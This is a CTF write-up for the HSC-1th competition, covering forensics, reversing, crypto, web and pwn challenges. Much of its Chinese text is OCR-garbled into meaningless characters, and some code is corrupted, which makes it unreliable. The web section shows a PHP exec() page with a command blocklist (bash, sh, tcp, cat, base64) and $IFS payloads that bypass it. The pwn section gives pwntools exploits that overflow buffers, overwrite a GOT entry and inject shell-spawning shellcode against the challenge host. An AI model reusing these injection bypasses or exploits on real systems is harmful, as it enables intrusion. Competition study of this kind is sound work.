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EZPWN

SHALL

MISC

Sign-in

KERRT, KIEHSC2019

DORAEMON

1. ZipfRyEER

W A I IQRIBGHE M 285, AN EAHE H CBUF 1. fREEIR R e ?
f PO A 7 RIS 25 Y. 376852

2. AR Fr, B AT BB e

3. EHEPIA NS iflag.

HEANES

1. 01070 Hr kLGS B 2 i, 2RIk J94b 50 03 04 1582 zip A
2. ERZREAE, k2 4b 50 Kk 50 4b (R AF NZpTE B — AN i dp it
3. ZipiERE B N: qazsedcftrfvgycfteyhntgbnytfvbhyik,.;p 1524 45«
gazsedcft rfvgy cftéyhn tgbn ytfvbhy ik,.;p

3% WVALOU

4. frisgatsflagacfl, EE Mk wav, Audacity @ F LR, 133flag:

flag{e5353bb7b57578bd4da1c898a8e2d767}

wireshark

1. wireshark.zip/y 2 Zbwireshark.png

2. Isbla S wireshark.png?d 2 —ik & ;. TP 4865, $15575 %):wrsak..iehr370
3. Xfwrsak..iehr3701L A= fi#1%: wireshark3.7.0

4. i & tDwireshark3.7.0f# s wireshark.zipf3 5| wireshark



5. FTHF LRI T pdf(H RS A )8, AEE SCSAT I K Bl wireshark -
6. 010# % pdf ki & PR £ 09 204 kS whitespacediii th >k, 20% 430 09% #: 431
8.

A

0000h: 31 31 31 30 31 30 30 OD OA 31 31 31 31 30 30 30 1110100..1111000
0010h: OD OA 31 31 31 30 31 30 30 OD OA 31 31 30 30 31 ..1110100..11001
0020h: 31 30 OD 0A 31 31 30 31 31 30 30 OD OA 31 31 30 10..1101100..110
0030h: 30 30 3031 OD OA 31 31 30 3031 31 31 OD OA 31 0001..1100111. .1
0040h: 31 31 31 30 31 31 OD OA 31 30 30 30 31 31 31 OD 111011..1000111.
0050h: OA 31 31 30 31 31 31 31 OD OA[31 31 30 30 30 30 .1104111..110000
0060h: OD OA 31 31 30 30 31 30 30 OD OA 31 30 30 31 30 ..1100100..10010
0070h: |31 30 OD OA 31 31 30 30 30 30 OD OA 31 30 30 30 10..110000..1000
0080h: 30 31 30 OD OA 31 30 31 31 31 31 31 0D OA 31 31 010..1011111..11
0090h: 31 31 30 30 31 OD OA 31 31 30 30 30 30 OD OA 31 11001..110000..1
00AOh: 31 31 30 31 3031 OD OA 31 31 30 30 31 31 30 OD 110101..1100110.
00BOh: OA 31 30 30 31 30 30 31 OD 0A 31 31 3031 31 31 .1001001..110111
00COh: 30 OD OA 31 31 30 30 31 30 30 OD OA 31 30 30 31 0..1100100..1001
00DOh: 31 30 30 OD OA[31 31 31 30 31 30 30 OD OA 31 31 100..4110100..11
O0EOh: 31 31 31 30 31 OD OA 11101. . CSDN @345

exp$§%%:

from Crypto.Util.number import long_to_bytes
c=[
"l1110100"
"1111000"
"l1110100"
"1100110"
"1101100"
"1100001"
"1100111"
"1111011"
"1000111"
"1101111"
"110000",
"1100100",
"1001010",
"110000",
"1000010",
"1011111",
"1111001",
"110000",
"1110101"
"1100110"
"1001001"
"1101110"
"1100100"
"1001100"
"1110100"
"1111101"
flag=""
for i in c:
flag+=chr(int(i,2))
print(flag)
#txtflag{GoodJIeB_youfIndLt}
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PCXP

1. vol -f /PCXP2.raw --profile=WinXPSP2x86 filescan | grep -E 'png|jpg|gif|zip| rar| 7z| pdf| txt|doc'

gonn T UMD e
$ vol -f ./PCXP.raw --profile=winxPSP2x86 filescan | grep -E 'pngljpglgiflzip|rar|7z|pdf|txt|doc’
Framework 2.6.1
wd \Device\Harddiskvolumel\WINDOWS\system32\sh vw.d11
\Device\Harddiskvolumel\Documents and Sett1ngs\A11 Users\Application Data\VMware\VMware VGAuth\logfile. .0
y Internet Files\Content.IE5\index.dat
y Internet Files\Content.IE5\index.dat

Volatility Foundation Vo1at111t
0x0000000002001f90
0x0000000002042028
0x0000000002062b48 \Device\Harddiskvolumel\Documents and Settings\Administrator\Local Settings\Tempo
\Device\Harddiskvolumel\Documents and Sett1ngs\Loca]servwce\Loca1 Settings\Tempo
\Device\Harddiskvolumel\WINDOWS\system32\: fldr.d11
\Device\Harddiskvolumel\Documents and Settings\Admi
\Device\Harddiskvolumel\Documents and Settings\Administrator\Local Settings\Tempo
\Device\Harddiskvolumel\WINDOWS\system32\ fldr.d11
\Device\Harddiskvolumel\WINDOWS\system32\sh lc.d11
\Device\Harddiskvolumel\Documents and Settings\Administrator\Local Settings\Tempo y Internet Files\Content.IE5\index.dat
\Device\Harddiskvolumel\Documents and Settings\Administrator\My Documents\My Music\fffllaaagggg.
\Device\Harddiskvolumel\Documents and Settings\LocalService\Local Settings\Tempo y Internet Files\Content.IE5\index.dat
\Device\Harddiskvolumel\Documents and Settings\All Users\Application Data\VMware\vVMware Tools\manifest.
\Dev1ce\Hardd1skvo]umel\WINDOWS\system32\my s.d11

0x000000000227db70
0x0000000002368418
0x0000000002381518
0x000000000238a568
0x00000000023a2348
0x00000000024048f0

nistrator\My Documents\My Music\ffflaaagggg.
y Internet Files\Content.IE5\index.dat

RRRERERRRRERE AR

0x000000000251fbcO

2. vol -fPCXP2.raw --profile=WinXPSP2x86 dumpfiles -Q 0x000000000227db70 -D ./

15 #ffflaaagggg.rar % — ffflaaagggg.zipth S ik 7 KILEH .

3. vol -f PCXP1.raw --profile=WinXPSP2x86 filescan | grep -E 'png|jpg|qgif| zip| rar| 7z pdf| txt|doc| flag'

PCXP1.raw --profile=WinXPSP2x86 grep -E 'png
Vo]at111ty Foundation Volatility Framework 2.6.1
4

0x0000000001fcd8d8

0x0000000001feb9a8
0x000000000205d0e8
0x00000000021221e0
0x0000000002129b90
0x0000000002200b48
0x0000000002255860
0x00000000022c83f0

2 -W-rw- \Device\Harddiskvolumel\Documents and Sett1ngs\A11 Users\Application Data\vMware\VMware VGAuth\Tlogfile. .0

0 R--rwd \Device\Harddiskvolumel\WINDOWS\system32\ fldr.d11

0 R--rwd \Device\Harddiskvolumel\Documents and Sett1ngs\LocaTServ1ce\Loca1 Settings\Tempo y Internet Files\Content.IE5\index.dat
0 R--rwd \Device\Harddiskvolumel\Documents and Settings\Administrator\My Documents\My Music\mirror.

1 RW-rw- \Device\Harddiskvolumel\Documents and Settings\Administrator\Local Settings\Tempo y Internet Files\Content.IE5\index.dat
0 R--rwd \Device\Harddiskvolumel\WINDOWS\system32\sh vw.d11

1 Rw-rw- \Device\Harddiskvolumel\Documents and Sett1ngs\LocaTServ1ce\Loca1 Settings\Tempo
0 R--r-d \Device\Harddiskvolumel\WINDOWS\system32\sh c.dll

y Internet Files\Content.IE5\index.dat

0x00000000023a5890 0 R--rwd \Device\Harddiskvolumel\Documents and Sett1ngs\Adm1n1strator\Loca1 Settings\Tempo y Internet Files\Content.IE5\index

4. vol -f PCXP1.raw --profile=WinXPSP2x86 dumpfiles -Q 0x00000000021221e0 -D ./

%% mirror.rar

iR =424 mirror.rar ? X

BER =i
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key:mirror
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5. f#E15 F]mirror.png:
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6. fittkffflaaagggg.rarfd #lisecret.pcap
foremostfi# [ tH i 7Kk png 1 F 7K BN R 5 7521 -
flag: flag{Wat3rMarkPtysc}

WEB
CLICK

R 7288007K

1. =il &: var2=28800

2. J5—FEIA Hiflag

Web-sign in

1. HR¥EE7515 iF /robots. txt
User-agent: *

Disallow:

Disallow: fiag_Is_h3re.php

2. yjllfiag_ls_h3re.php, EIRATEX (H24EAF12025H .
3. WHHGEE s , &F VLS Hflag
EXEC
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<?php

error_reporting(0);

if(isset($_REQUEST["cmd"])){
$shell = $_REQUEST["cmd"];
$shell = str_ireplace(" ","",$shell);
$shell = str_ireplace("\n","",$shell);
$shell = str_ireplace("\t","",$shell);
$shell = str_ireplace("?","",$shell);
$shell = str_ireplace("*","",$shell);
$shell = str_ireplace("<","",$shell);
$shell = str_lreplace(“system" "",$shell);

$shell = str_ireplace("passthru”,"",$shell);
$shell = str_ireplace("ob_start","",$shell);

$shell = str_ireplace("getenv","",$shell);
$shell = str_ireplace("putenv","",$shell);
$shell = str_ireplace("mail","",$shell);
$shell = str_ireplace("error_log","",$shell);
$shell = str_ireplace(" ","",$shell);
$shell = str_ireplace("exec","",$shell);
$shell = str_ireplace("shell_exec","",$shell);
$shell = str_ireplace("echo","",$shell);
$shell = str_ireplace("cat","",$shell);
$shell = str_ireplace("1ls","",$shell);
$shell = str_ireplace("nl","",$shell);
$shell = str_ireplace("tac","",$shell);
$shell = str_ireplace("bash","",$shell);
$shell = str_ireplace("sh","",$shell);
$shell = str_ireplace("tcp","",$shell);
$shell = str_ireplace("base64","",$shell);
$shell = str_ireplace("flag","",$shell);
$shell = str_ireplace("cp","",$shell);
exec($shell);

}else{
highlight_file(___FILE_ );

1. FREGS IS BT Ay 2 AT

BEX A WA S e

EEX AT I SIFS ST

A PATJE CA [BLL, TSSO, U5 iR SO 2 dr & AT

cmd=IIss$IFS/>1
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bin
boot
ctf is_fun flag2021
dev
etc
home
1ib
1ib64
media
mnt
opt
proc
root
run
shin
srv
start. sh
sys
tmp
usr
var

cmd=cacatt$IFS/ctf_is_fun_flflagag2021>1

flag{64cb524c-8481-4300-88ad-89620fcaddc}

CSDN @¥53%

REVERSE
hiahia o(*AV A*)-
idaZy HriZ 4 .

gmemcpy (v4, "igdb~Mumu@p&>%;%<$<p", 20);
printf("please input your flag:");
scanf("%s", v5);
for (i =0; (int)i <= 19; ++i )
{
*((_BYTE *)v4 + (int)i) = flag((unsigned int)*((char *)v4 + (int)i), i);
if ( v5[i] != *((_BYTE *)v4 + (int)i) )
printf("Aha, Well done!");
return 0;

}
printf("Ahal");

R T AN VAL, Ab PSR S A fflagliont b, L, patch— MU EAxT LRGBS ANR HY, 285 iR (9]
AW, BE NVARTN R,

gmemcpy (v4, "igdb~Mumu@p&>%;%<$<p", 20);
printf("please input your flag:");
scanf("%s", v5);
for (1 =0; (int)i <= 19; ++i )
{
*((_BYTE *)v4 + (int)i) = flag((unsigned int)*((char *)v4 + (int)i), i);
if ( v5[i] !'= *((_BYTE *)v4 + (int)i) )
printf("Aha, Well done!"); //RiEH.
}
printf("Aha!"); //Wik



P9E18]:000000000062FDDF db )

P9E18]:000000000062FDEO aFlagRrrree3320 db 'flag{RrrrEe33202111}',0
P9E18]: 000000000062FDF5 db 0

POE18]:000PROL0LE62FDF6 db 0 -
P9E181:000000000062FDF7 db 0 CSDN @557t

ANDROID

public woid onClick({View wview) {
String trim = this.input.getText().toString().trim{);
int[] iArr = {102, 13, 99, 28, 127, 55, 99, 19, 1@9, 1, 121, 58, 83, 3@, 79, @, 64, 42}
int[] iArr2 = {42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42};
if (trim.length() != 18) {
this.input.setText("FLAGIEIR");

return;
1
I
Char| ] cnarfrray = trim.toLnararrayl s
for (int 1 = @; 1 < 17; i++) {
iArr2[i] = 1 ¥ 2 == @ ? chardrray[i] *~ 1 : charfArray[i] " charf&rray[i + 1];

1
1]

SLIINE S H
for (int i2 = @; i2 « 18; i24+4) {
str = str.concat(Integer.toHexString(iArr2[i2])).concat(",");

1
System.out.println(str);
for (int i3 = B; i3 « 18; i3++) {
if (iArr2[i3] !'= iArr[i3]) {
this.input.setText("FLAGEEIR! ");
return;
}

1
1]

this.input.setText("FLAGIETR");

CSDN @43
X 38 ] B AT

iArr = [102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 38, 79, 0, 64, 42]
iArr2 = [42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42]
#iArr2==iArr
#exp:
#flag{xxxx}
for i in range(17):
if i%2==20:
iArr[i] = iArr[i] ~ i
for i in range(17):
if i%2!=0:
iArr[i] = iArr[i] ~ iArr[i + 1];
pass
print(bytes(iArr))

WAY
1. Biupxc:
upx-d maze-upx.exe

2. idaZr 32k E: OllIOOICHOOOIIoIoN



OIIII
OOIO#
I000I
IOIOI
IIIII

3. Fzh15 3 #14sdsddwd
4. 1Hmd5

exp:

m="0OIIIIOOIO#IOOOIIOIOIIIIII"

for i in range(©@,len(m),5):
print(m[i:i+5])

OIIII

OOIO#

I000I

IOIOI

IIIII

#sdsddwd

import hashlib
print(hashlib.md5(b"sdsddwd").hexdigest())
#flag{6654b3343f6f3f6223a721e7f65e8718}

SPARK
idazr i AN T, A HIghidrafs 210y A5 :



3 [int main(void)

10 [{
11 longlong unaff g7;

12 int local res7d3;

13 undefined8 local res7d7;
14 undefined8 local res7df;
15 undefined8 local res7e’;
16 undefined8 local resTef;
17 longlong local resTf7;
18
19 local res/f/ = *(longlong *) (unaff g7 + 0x28);
20 local res’id7 = 0;

21 local residf = 0;

22 ocalire57e7 = 0x37463f3044413243;
23 local res/ef = 0x3429000000000000;
24 puts("input sparkle flag here:\n");
25 read (0, &local res7d7,0xc);

26 local res7d3 = 0;

277 do {

28 if (9 < local res7d3) ({

29 puts ("good job!™);

S0 |LAB 001008a0:

31 if (local_res7f7 == *(longlong *)(unaff_g7 + 0x28)) {

32 return 0;

33 }

34 /* WARNING: Subroutine does not return */

35 __stack chk fail();

36 }

37 *(char *) ((longlong)&local res7d7 + (longlong)local res7dl) =

38 * (char *)((longlong)&local_re57d7 + (longlong)local_res?dS) + -0x2f;
39 if (* (char *) ((longlong)&local res7d7 + (longlong)local res7d3) !=
40 *(char *) ((longlong)s&local res’e] + (longlong)local resTd3)) |
41 puts ("incorrect\n");

42 goto LAB 001008a0;

43 }

44 local res7d3 = local res7d3 + 1;

45 } while( true );

46 |1 CSDM GRpse
AR e B30 ) RTA

exp

a = '37463f3044413243';
'3429000000000000" ;

o
|

enc=bytes.fromhex('37463f30444132433429")

flag=""

for i in range(10):
flag+=chr((enc[i]+0x2f)&Oxff)

print(flag)

CRYPTO
Easy Signin



AL -

5445705857464579517A4A48546A4A455231645457464243566B5579556C7053546C4A4ES2456456564664+

i 1] | 3

exp:

a="'5445705857464579517A4A48546A4A455231645457464243566B5579556C7053546C4A4E524564565646644D515670455130354C
flag=bytes.fromhex(a)

import base64

flag=base64.b64decode(flag)

flag=base64.b32decode(flag)

flag=base64.b64decode(flag)

print(flag)

AFFINE
st a5, SRR AATE lag i iia. b 285 KAk

exp:



# -*- coding: utf-8 -*-
import string
import hashlib, gmpy2

letter=string.ascii_letters+string.digits
def affine_encode(m,a,b,origin="abcdefghijklmnopgrstuvwxyz"):

P =

for i in m:

if origin.find(i) != -1:
r += origin[(a*origin.index(i)+b) % len(origin)]
else:
r+=1i
return r

def affine_decode(c,a,b,origin="abcdefghijklmnopgrstuvwxyz"):
P
n = len(origin)
try:
ai = gmpy2.invert(a,n) % n
for i in c:
if origin.find(i) != 1:
r += origin[(ai*(origin.index(i)-b)) % n]
else:
r+=1i
return r
except:

return

c="xGJ13kkRK9QDFORQomFOfINZs9LKVZvGqVIsVOINOkorv"
for a in range(100):
for b in range(100):
ff=affine_decode(c,a,b,letter)
if 'flag' in ff:
print(a,b,ff)

import hashlib
result="'0h62AffinelsStillN@tSecureEnoughToProtectflag’
flag = hashlib.md5(result.encode()).hexdigest()
print("flag{"+flag+"}")

#11 17 Oh62AffinelsStillN@tSecureEnoughToProtectflag
#11 79 Oh62AffinelsStillN@tSecureEnoughToProtectflag
#73 17 Oh62AffinelsStillN@tSecureEnoughToProtectflag
#73 79 Oh62AffinelsStillN@tSecureEnoughToProtectflag
#flag{2b9b99caaelcc49e5b5aacbc8cc22350}

Baby RSA

1. HHEPEL



from Crypto.Util.number import *
import gmpy2

def lfsr(status,mask):
out = (status << 1) & Oxffffffff
i=(status&mask)&Oxffffffff
lastbit=0
while il!=@:
lastbit~=(i&1)
i=i>>1
outt=lastbit
return (out,lastbit)

status= 1
mask = 0b10110001110010011100100010110101

p=""
key='010111010010011101101101100011101000011110100010101010010010001101011101100001001010010111011001110111
#key="'00010010011100101010001000110111110100000000110001111110101011100101011110111100011010110011101010100
for i in range(568):

curnum = int(key[i])

(status,out)=1fsr(status,mask)

p+=str(curnum ~ out)
print(p)
#p=p+'0"'*(1024-568)
p=int(p,2)
print("p=",hex(p))

#35p=
0x807¢1395b8128e6de865ab20dd2a39684f6831464553c65215cfe2861192657b6938d227c75e902ae858fdbd
4 | 1l 3

Ky E nprn iz A 5684L 75 B A 5760 A4 AT LA S thp, BT AT ZEAL 81 .

sagefii A :



from sage.all import *
import binascii
n = 93635433746653382838611456563401157565983287448706207567987790808267257746913641616483353780627054339

cipher = 36413045370298157467271638945545573223820125399539481834063082311742595712636086219709736712020014

e2 = 65537
pbits = 1024
for i in range(0,127):
p4=0x807c1395b8128e6de865ab20dd2a3968416831464553c65215¢cfe2861192657b6938d227c75e€902ae858fdbd8b118c8522
p4=p4+int(hex(i),16)
print(hex(p4))
kbits = pbits - p4.nbits() #AEN T BB LR %
print(p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f=x+ p4
roots = f.small_roots(X=2"kbits, beta=0.4) #i17#HH
#rint roots
if roots: HIRM ST, SRR
p = p4+int(roots[0])
print("p: ", hex(int(p)))
assert n % p == 0
q = n/int(p)
print("q: ", hex(int(q)))
print(gcd(p,q))
phin = (p-1)*(g-1)
print(gcd(e2,phin))
d = inverse_mod(e2,phin)
flag = pow(cipher,d,n)
flag = hex(flag)[2:]
print(bytes.fromhex(flag))

PWN

Ez pwn

#encoding=utf-8

from pwn import *
fpath="/mnt/d/ctf/ti/hscctf2022/pwn-Ez_pwn/pwn'

#r = process(fpath)

r = remote("hsc2019.site",10144)

backdoor=0x400741
payload=b"a"*64+p64(0)+p64(0x400740)+p64 (backdoor)
r.sendline(payload)

r.interactive()

EZPWN



#encoding=utf-8

from pwn import *
fpath="/mnt/d/ctf/ti/hscctf2022/pwn-EZPWN/pwn'
#r = process(fpath)

r = remote("hsc2019.site",10456 )

elf=ELF(fpath)
backdoor=0x400796

r.sendlineafter("your ID?",'aa")
r.sendlineafter("Give me the target address?",str(elf.got['printf']))
r.sendlineafter("Give me the data: ",p64(backdoor))

r.interactive()

SHALL

1. 7E0xOx6000004b N A7, F-Htthhik A7 £tk KT 48 £y OXB0 LA F 1)
RIAEO0X600088/4t :
0x600088 —> 0x60010c (hello)

2. RIEFE—IRE NEHER Bk 2 start10x4000FBAL, , Kistartftjebpiff ¥ 3]0x600088, i34 i Hmaint& %L,
RECN TR B ANEAE bRy 0x600088+0x50 = 0x6000D8, fths 78 o5 startik [F HihikOx60010c, #E0x60010c
5 A\shellcode

#encoding=utf-8

from pwn import *
context(os="1linux',arch="amd64")
fpath="/mnt/d/ctf/ti/hscctf2022/pwn-SAHELL/pwn'
#r = process(fpath)

r = remote("hsc2019.site",10655 )

code = shellcraft.sh()

shellcode = asm(code)

#gdb.attach(r, 'b *0x4000cb")

payload=b'\0'*0x1a0+p64(0x600088)+p64 (OXx4000FB)+p64(0)+p64(0Xx60010C)
r.sendline(payload)

payload=b"\x90"*0x34+b"\x90"*0@+shellcode

#pause()

r.sendline(payload)

r.interactive()




	HSC-1th writeup
	MISC
	Sign-in
	DORAEMON
	汝闻,人言否
	wireshark
	PCXP

	WEB
	CLICK
	Web-sign in
	EXEC

	REVERSE
	hiahia o(*^▽^*)┛
	ANDROID
	WAY
	SPARK

	CRYPTO
	Easy SignIn
	AFFINE
	Baby RSA

	PWN
	Ez pwn
	EZPWN
	SHALL


